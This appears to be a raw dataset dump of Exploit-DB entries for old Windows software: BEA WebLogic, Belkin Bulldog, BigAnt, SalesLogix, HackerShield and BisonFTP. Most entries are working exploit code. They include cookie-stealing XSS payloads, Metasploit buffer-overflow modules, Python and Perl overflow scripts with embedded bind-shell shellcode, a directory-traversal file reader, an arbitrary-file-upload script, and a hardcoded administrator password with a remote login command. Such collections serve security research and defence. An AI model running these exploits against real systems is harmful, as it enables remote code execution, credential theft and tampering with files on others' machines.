deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26196
Description: BEA WebLogic 7.0/8.1 - Administration Console Cross-Site Scripting
Type: remote
Platform: windows
Date: 2005-08-24
Author: GomoR

Exploit:
source: https://www.securityfocus.com/bid/14657/info

BEA WebLogic administration console is prone to cross-site scripting attacks.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

1. Make a HTTP request containing XSS code to a target Web server

$ printf "GET /<script>alert(document.cookie)</script>GomoR HTTP/1.0\r\n\r\n" | nc www.example.com 80

2. Login into the Administration console
3. Go to the menu 'Network configurations/servers/myserver/'
4. Click on 'View server log'
5. Search for the string GomoR and click on the BEA-id event.
Exploit-DB #25546
Description: BEA WebLogic Server 8.1 / WebLogic Express Administration Console - Cross-Site Scripting
Type: remote
Platform: windows
Date: 2005-04-26
Author: Alexander Kornbrust

Exploit:
source: https://www.securityfocus.com/bid/13400/info

A remote cross-site scripting vulnerability affects BEA WebLogic Server and WebLogic Express administration console. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://example.com:8001/console/actions/jndi/JndiFramesetAction?server='<script>alert(document.cookie);</script>mydomain%3AName%3Dmyserver%2CType%3DS
Exploit-DB #8173
Description: Belkin BullDog Plus - UPS-Service Buffer Overflow
Type: remote
Platform: windows
Date: 2009-03-09
Author: Elazar

Exploit:
Belkin BullDog Plus UPS-Service Buffer Overflow Exploit

Tested on Windows XP SP3
JMP ESP from user32.dll, 0x7E429353
Shellcode is bind 4444 from Metasploit

nc host port < belkin-buldog-exploit

Thats all folks!

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8173.zip (2009-belkin-bulldog-exploit.zip)

# milw0rm.com [2009-03-09]
Exploit-DB #16804
Description: Belkin Bulldog Plus - Web Service Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: belkin_bulldog.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Belkin Bulldog Plus Web Service Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Belkin Bulldog Plus
				4.0.2 build 1219. When sending a specially crafted http request,
				an attacker may be able to execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'OSVDB', '54395' ],
					[ 'BID', '34033' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
					'DisableNops'  =>  'True',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP3 English', { 'Ret' => 0x7e4456f7 } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Mar 8 2009'))

		register_options( [ Opt::RPORT(80) ], self.class )
	end

	def exploit
		c = connect

		dwerd = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call dword [esp+58h]").encode_string

		filler = [target.ret].pack('V') + dwerd + make_nops(28)

		print_status("Trying target #{target.name}...")

		send_request_raw({
			'uri'          => payload.encoded,
			'version'      => '1.1',
			'method'       => 'GET',
			'headers'      =>
			{
				'Authorization' => "Basic #{Rex::Text.encode_base64(filler)}"
			}
		}, 5)

		handler
	end
end
Exploit-DB #24688
Description: best software SalesLogix 2000.0 - Multiple Vulnerabilities
Type: remote
Platform: windows
Date: 2004-10-18
Author: Carl Livitt

Exploit:
source: https://www.securityfocus.com/bid/11450/info

Best Software SalesLogix is affected by multiple vulnerabilities. These issues are due to design errors that reveal sensitive information, access control validation issues that allow unauthorized access and input validation issues facilitating SQL injection attacks.

An attacker may leverage these issues to manipulate and disclose database contents through SQL injection attacks, steal authentication credentials due to information disclosure vulnerabilities and bypass authentication to gain administrator access to the server.

#!/usr/bin/perl
#
# Proof of concept exploit: Arbitrary file creation for SLX server 6.1
#
# Written by Carl Livitt, Agenda Security Services, June 2004.
#
# This exploit abuses the ProcessQueueFile command on SLX 6.1 (others?)
servers
# to create arbitrary files on the filesystem of the SLX server. By
using
# directory traversal, it is possible to escape from the Queue directory
and
# write anywhere on the SLX server's filesystem.
#

use IO::Socket;

print "slx_uploader - Uploads arbitrary files to Sage SalesLogix
servers.\n";
print "By Carl Livitt @ Agenda Security Services, June 2004\n\n";

if($#ARGV!=2) {
        print "Syntax: $0 host filename_to_create file_to_upload\n\n";
        print "Example:\n";
        print "  $0 10.0.0.100
\\\\winnt\\\\system32\\\\drivers\\\\etc\\\\hosts evil.txt\n\n";
        print "The above example would upload the local file 'evil.txt'
to the SLX\n";
        print "server on 10.0.0.100, overwriting the existing hosts
file.\n";
        print "It is possible to upload binary files, e.g. executables,
with this exploit.\n\n";

        exit(1);
} else {
        $host=$ARGV[0];
        $create_file=$ARGV[1];
        $upload_file=$ARGV[2];
}

if((stat($upload_file))[7] > 4096) {
        print "[*] Error! Files to be uploaded must be less than 4k in
size.\n\n";
        exit(1);
}

print "[+] Building payload\n";
$contentLen=43 + length($create_file);
$exploit="\x00"x10 . chr($contentLen) . "\x00"x3 .
"ProcessQueueFile\x00" . "..\\"x8 . "$create_file" . "\x00"x6;

open(UPLOAD, '<', $upload_file) || die "Could not open local file
$upload_file\n";

while(($line=<UPLOAD>)) {
        $exploit.=$line;
}

close(UPLOAD);

print "[+] Connecting to server $host:1707\n";
$sock=IO::Socket::INET->new("$host:1707") || do {print "[-] Could not
connect to server\n"; exit(1); };

print "[+] Sending exploit payload\n";
send($sock,$exploit,0);

print "[+] Waiting for response\n";
$sock->recv($data,1024,0);

if($data =~ /Received/) {
        print "[+] Exploit successful\n";
} else {
        print "[*] Exploit may not have worked.\n";
}

$sock->shutdown(2);
Exploit-DB #33980
Description: Best Way GEM Engine - Multiple Vulnerabilities
Type: remote
Platform: windows
Date: 2009-10-12
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/40145/info

GEM Engine is prone to multiple vulnerabilities including multiple denial-of-service issues and a buffer-overflow issue.

An attacker can exploit these issues to cause applications using the engine to crash, resulting in a denial-of-service condition, or to execute arbitrary code in the context of the vulnerable application. Other attacks may also be possible.

GEM Engine 2 and GEM Engine 3 are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33980.zip
Exploit-DB #16430
Description: BigAnt Server 2.2 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: bigant_server.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'BigAnt Server 2.2 Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in BigAnt Server 2.2.
				By sending a specially crafted packet, an attacker may be
				able to execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2008-1914' ],
					[ 'OSVDB', '44454' ],
					[ 'BID', '28795' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00\x20\x0a\x0d",
					'StackAdjustment' => -3500,
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
					'DisableNops'  =>  'True',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 Pro All English',   { 'Ret' => 0x75022ac4 } ],
					[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Apr 15 2008'))

		register_options([Opt::RPORT(6080)], self.class)
	end

	def exploit
		connect

		sploit =  "GET " + rand_text_alpha_upper(950) + generate_seh_payload(target.ret)
		sploit << rand_text_alpha_upper(1024 - payload.encoded.length)

		print_status("Trying target #{target.name}...")
		sock.put(sploit + "\n\n")

		handler
		disconnect
	end

end
Exploit-DB #9690
Description: BigAnt Server 2.50 - GET Universal Remote Buffer Overflow (SEH)
Type: remote
Platform: windows
Date: 2009-09-15
Author: hack4love

Exploit:
#!/usr/bin/python
# by hack4love
# BigAnt Server version 2.50 SEH Overwrite Universal
# discovered by Blake http://www.milw0rm.com/exploits/9673
# Tested on Windows XP SP2
# gratez to Blake
# use >> bigant.py 192.168.1.12 6660


import socket, sys

if len(sys.argv)!= 3:
print "\n[*] Usage: %s <ip> <port>\n" % sys.argv[0]
sys.exit(0)

host = sys.argv[1]
port = int(sys.argv[2]) # port 6660 by default


shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x37\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x41"
"\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x51\x32\x42\x42\x32\x41"
"\x41\x30\x41\x41\x42\x58\x38\x42\x42\x50\x75\x4b\x59\x4b\x4c\x59"
"\x78\x52\x64\x63\x30\x65\x50\x53\x30\x4e\x6b\x57\x35\x77\x4c\x6c"
"\x4b\x61\x6c\x63\x35\x73\x48\x67\x71\x48\x6f\x6e\x6b\x50\x4f\x45"
"\x48\x6e\x6b\x53\x6f\x61\x30\x73\x31\x38\x6b\x53\x79\x4e\x6b\x66"
"\x54\x6e\x6b\x46\x61\x38\x6e\x30\x31\x6b\x70\x6e\x79\x6e\x4c\x4f"
"\x74\x79\x50\x74\x34\x44\x47\x4f\x31\x59\x5a\x76\x6d\x55\x51\x59"
"\x52\x68\x6b\x4a\x54\x35\x6b\x71\x44\x65\x74\x37\x74\x31\x65\x4a"
"\x45\x6e\x6b\x73\x6f\x44\x64\x55\x51\x4a\x4b\x50\x66\x4c\x4b\x44"
"\x4c\x30\x4b\x6e\x6b\x53\x6f\x37\x6c\x46\x61\x58\x6b\x6c\x4b\x77"
"\x6c\x6e\x6b\x46\x61\x5a\x4b\x4f\x79\x31\x4c\x47\x54\x37\x74\x6a"
"\x63\x74\x71\x59\x50\x70\x64\x6e\x6b\x51\x50\x50\x30\x6e\x65\x4b"
"\x70\x72\x58\x64\x4c\x6c\x4b\x71\x50\x56\x6c\x4e\x6b\x52\x50\x57"
"\x6c\x6c\x6d\x4c\x4b\x63\x58\x73\x38\x5a\x4b\x45\x59\x4e\x6b\x4f"
"\x70\x4c\x70\x35\x50\x43\x30\x63\x30\x4c\x4b\x53\x58\x77\x4c\x73"
"\x6f\x56\x51\x48\x76\x53\x50\x66\x36\x4f\x79\x39\x68\x6f\x73\x39"
"\x50\x61\x6b\x30\x50\x61\x78\x4a\x50\x6c\x4a\x73\x34\x33\x6f\x45"
"\x38\x6d\x48\x49\x6e\x6c\x4a\x46\x6e\x76\x37\x69\x6f\x48\x67\x45"
"\x33\x73\x51\x72\x4c\x71\x73\x63\x30\x41")


payload = "\x41" * 985
next_seh = "\xeb\x06\x90\x90"
seh = "\xc3\x20\xc4\x6b" #MFC42.DLL
nops = "\x90" * 10
sec = shellcode

print "[+] Connecting to %s on port %d" % (host,port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host,port))
except:
print "[x] Error establishing connection\n"
sys.exit(0)

print "[+] Sending payload"
s.send("GET " + payload + next_seh + seh + nops + sec + "\r\n\r\n")
s.close()

# milw0rm.com [2009-09-15]
Exploit-DB #16431
Description: BigAnt Server 2.50 SP1 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-07-03
Author: Metasploit

Exploit:
##
# $Id: bigant_server_250.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'BigAnt Server 2.50 SP1 Buffer Overflow',
			'Description'    => %q{
				This exploits a stack buffer overflow in the BigAnt Messaging Service,
				part of the BigAnt Server product suite. This module was tested
				successfully against version 2.50 SP1.
			},
			'Author' 	 => [ 'Dr_IDE <Dr_IDE[at]hushmail.com>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9669 $',
			'References'     =>
				[
					# It's not clear if these are correct - there was a fix for
					# the v2.2 vuln back in Dec 2008
					[ 'CVE', '2008-1914'],
					[ 'OSVDB', '44454'],
					[ 'URL', 'http://www.exploit-db.com/exploits/9673' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/9690' ]
					#[ 'B_ID', '28795' ],
					#[ 'U_RL', 'http://www.milw0rm.com/exploits/5451'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Payload'        =>
				{
					'Space'    => 710,
					'BadChars' => "\x00\x20\x0a\x0d",
					'StackAdjustment' => -3500,
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
					'DisableNops'  =>  'True',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'BigAnt 2.5 Universal',		{ 'Ret' => 0x0f9a196a } ], # Tested OK (Dr_IDE & patrickw) p/p/r VBAJET32.dll xpsp3 & w2k
					[ 'Windows 2000 Pro All English',   	{ 'Ret' => 0x75022ac4 } ], # p/p/r Tested OK (patrickw 20090918)
					[ 'Windows XP Pro SP0/SP1 English', 	{ 'Ret' => 0x71aa32ad } ], # Should Work
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Apr 15 2008'))

		register_options([Opt::RPORT(6660)], self.class)
	end

	def exploit
		connect

		sploit = "GET " + rand_text_alpha_upper(985) + generate_seh_payload(target.ret)
		sploit << rand_text_alpha_upper(1000 - payload.encoded.length)

		print_status("Trying target #{target.name}...")
		sock.put(sploit + "\r\n\r\n")

		handler
		disconnect
	end

end
Exploit-DB #16426
Description: BigAnt Server 2.52 - USV Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: bigant_server_usv.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'BigAnt Server 2.52 USV Buffer Overflow',
			'Description'    => %q{
				This exploits a stack buffer overflow in the BigAnt Messaging Service,
				part of the BigAnt Server product suite. This module was tested
				successfully against version 2.52.

				NOTE: The AntServer service does not restart, you only get one shot.
			},
			'Author' 	 =>
				[
					'Lincoln',
					'DouBle_Zer0',
					'jduck'
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'OSVDB', '61386' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/10765' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/10973' ]
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Payload'        =>
				{
					'Space'    => (218+709+35),
					'BadChars' => "\x2a\x20\x27\x0a\x0f",
					# pre-xor with 0x2a:
					#'BadChars' => "\x00\x0a\x0d\x20\x25",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'BigAnt 2.52 Universal', { 'Ret' => 0x1b019fd6 } ], # Tested OK (jduck) p/p/r msjet40.dll xpsp3
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Dec 29 2009'))

			register_options([Opt::RPORT(6660)], self.class)
	end

	def exploit
		connect

		sploit = ""
		sploit << payload.encoded
		sploit << generate_seh_record(target.ret)
		sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + payload_space.to_s).encode_string
		sploit << rand_text_alphanumeric(3)
		sploit << [0xdeadbeef].pack('V') * 3

		# the buffer gets xor'd with 0x2a !
		sploit = sploit.unpack("C*").map{|c| c ^ 0x2a}.pack("C*")

		print_status("Trying target #{target.name}...")
		sock.put("USV " + sploit + "\r\n\r\n")

		handler
		disconnect
	end

end
Exploit-DB #19491
Description: BindView HackerShield 1.0/1.1 - HackerShield AgentAdmin Password
Type: remote
Platform: windows
Date: 1999-09-10
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/628/info

The BindView HackerShield product (originally Netect's HackerShield) creates an NT service account called NetectAgentAdmin$. This account is a member of the local administrators group on an NT host. The service account password is not machine specific, nor is it randomly generated. The password is fourteen characters long and includes non-printable ascii characters, therefore, password cracking tools like L0phtcrack <www.L0pht.com> may not be able to fully display the password.

Using Paul Ashton's LSA secrets code <https://www.securityfocus.com/bid/231.html> against a Service Pack 3 machine with HackerShield installed, it is possible to recover the plaintext password for this account. As this password is the same for every HackerShield installation, an attacker could use this username / password combination to remotely access other NT hosts running the HackerShield product. 

The first twelve characters of the NetectAgentAdmin$ account password are: np7m4qM1M7VT

the thirteenth character is a <tab>

the fourteenth character is an equal sign <=>

making the entire [CREDENTIAL_REDACTED]<tab>=

this password can be entered from the command line with quotation marks around it.

net use \\172.16.1.101\ipc$ "np7m4qM1M7VT =" /user:172.16.1.101\netectagentadmin$
Exploit-DB #38341
Description: BisonWare BisonFTP Server 3.5 - Directory Traversal
Type: remote
Platform: windows
Date: 2015-09-28
Author: Jay Turla

Exploit:
#!/usr/bin/python
# title: BisonWare BisonFTP server product V3.5 Directory Traversal Vulnerability
# author: Jay Turla <@shipcod3>
# tested on Windows XP Service Pack 3 - English
# software link: https://www.exploit-db.com/apps/081331edfc143738a60e029192b5986e-BisonFTPServer.rar
# description: BisonWare BisonFTP server product V3.5 is vulnerable to Directory Traversal (quick and dirty code just for PoC) 

from ftplib import FTP

ftp = FTP(raw_input("Target IP: ")) 
ftp.login()                   
ftp.retrbinary('RETR ../../../boot.ini', open('boot.ini.txt', 'wb').write)
ftp.close()
file = open('boot.ini.txt', 'r')
print "[**] Printing what's inside boot.ini\n"
print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
print file.read()
print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
Exploit-DB #17649
Description: BisonWare BisonFTP Server 3.5 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2011-08-10
Author: localh0t

Exploit:
#!/usr/bin/python
# BisonFTP Server <=v3.5 Remote Buffer Overflow Exploit
# Newer version's not tested, maybe vulnerable too
# written by localh0t
# Date: 10/08/11
# Contact: mattdch0@gmail.com
# Follow: @mattdch
# www.localh0t.com.ar | www.mfsec.com.ar
# Thanks to: Pr0zac, Irakirashia, Kchito
# Targets: Windows XP SP3 Spanish (No DEP) (Change as you wish)
# Shellcode: List shell on port 4444 (Change as you wish)

from socket import *
import sys, struct, os, time

if (len(sys.argv) < 3):
	print "\nBisonFTP Server <=v3.5 Remote Buffer Overflow Exploit"
        print "\n	Usage: %s <host> <port> \n" %(sys.argv[0])
	sys.exit()

print "\n[!] Connecting to %s ..." %(sys.argv[1])

# connect to host
sock = socket(AF_INET,SOCK_STREAM)
sock.connect((sys.argv[1],int(sys.argv[2])))
sock.recv(1024)
time.sleep(5)

# padding
buffer = "\x90" * 1092

# 368 bytes shellcode
buffer += ("\x33\xc9\x83\xe9\xaa\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"+
"\xbb\xc1\x9c\x35\x83\xee\xfc\xe2\xf4\x47\x29\x15\x35\xbb\xc1"+
"\xfc\xbc\x5e\xf0\x4e\x51\x30\x93\xac\xbe\xe9\xcd\x17\x67\xaf"+
"\x4a\xee\x1d\xb4\x76\xd6\x13\x8a\x3e\xad\xf5\x17\xfd\xfd\x49"+
"\xb9\xed\xbc\xf4\x74\xcc\x9d\xf2\x59\x31\xce\x62\x30\x93\x8c"+
"\xbe\xf9\xfd\x9d\xe5\x30\x81\xe4\xb0\x7b\xb5\xd6\x34\x6b\x91"+
"\x17\x7d\xa3\x4a\xc4\x15\xba\x12\x7f\x09\xf2\x4a\xa8\xbe\xba"+
"\x17\xad\xca\x8a\x01\x30\xf4\x74\xcc\x9d\xf2\x83\x21\xe9\xc1"+
"\xb8\xbc\x64\x0e\xc6\xe5\xe9\xd7\xe3\x4a\xc4\x11\xba\x12\xfa"+
"\xbe\xb7\x8a\x17\x6d\xa7\xc0\x4f\xbe\xbf\x4a\x9d\xe5\x32\x85"+
"\xb8\x11\xe0\x9a\xfd\x6c\xe1\x90\x63\xd5\xe3\x9e\xc6\xbe\xa9"+
"\x2a\x1a\x68\xd3\xf2\xae\x35\xbb\xa9\xeb\x46\x89\x9e\xc8\x5d"+
"\xf7\xb6\xba\x32\x44\x14\x24\xa5\xba\xc1\x9c\x1c\x7f\x95\xcc"+
"\x5d\x92\x41\xf7\x35\x44\x14\xcc\x65\xeb\x91\xdc\x65\xfb\x91"+
"\xf4\xdf\xb4\x1e\x7c\xca\x6e\x48\x5b\x04\x60\x92\xf4\x37\xbb"+
"\xd0\xc0\xbc\x5d\xab\x8c\x63\xec\xa9\x5e\xee\x8c\xa6\x63\xe0"+
"\xe8\x96\xf4\x82\x52\xf9\x63\xca\x6e\x92\xcf\x62\xd3\xb5\x70"+
"\x0e\x5a\x3e\x49\x62\x32\x06\xf4\x40\xd5\x8c\xfd\xca\x6e\xa9"+
"\xff\x58\xdf\xc1\x15\xd6\xec\x96\xcb\x04\x4d\xab\x8e\x6c\xed"+
"\x23\x61\x53\x7c\x85\xb8\x09\xba\xc0\x11\x71\x9f\xd1\x5a\x35"+
"\xff\x95\xcc\x63\xed\x97\xda\x63\xf5\x97\xca\x66\xed\xa9\xe5"+
"\xf9\x84\x47\x63\xe0\x32\x21\xd2\x63\xfd\x3e\xac\x5d\xb3\x46"+
"\x81\x55\x44\x14\x27\xc5\x0e\x63\xca\x5d\x1d\x54\x21\xa8\x44"+
"\x14\xa0\x33\xc7\xcb\x1c\xce\x5b\xb4\x99\x8e\xfc\xd2\xee\x5a"+
"\xd1\xc1\xcf\xca\x6e\xc1\x9c\x35")

# more padding
buffer += "\x90" * 8

# jmp edx (shell32.dll Windows XP SP3 Spanish) (edx points to the 1st nopsled)
buffer += "\x9a\x5c\x3c\x7e"

# end connection
buffer += "\x0a"

# send buffer
print "[!] Sending exploit..."
sock.send(buffer)
sock.recv(1024)
sock.close()
print "[!] Exploit succeed. Now netcat %s on port 4444\n" %(sys.argv[1])
sys.exit()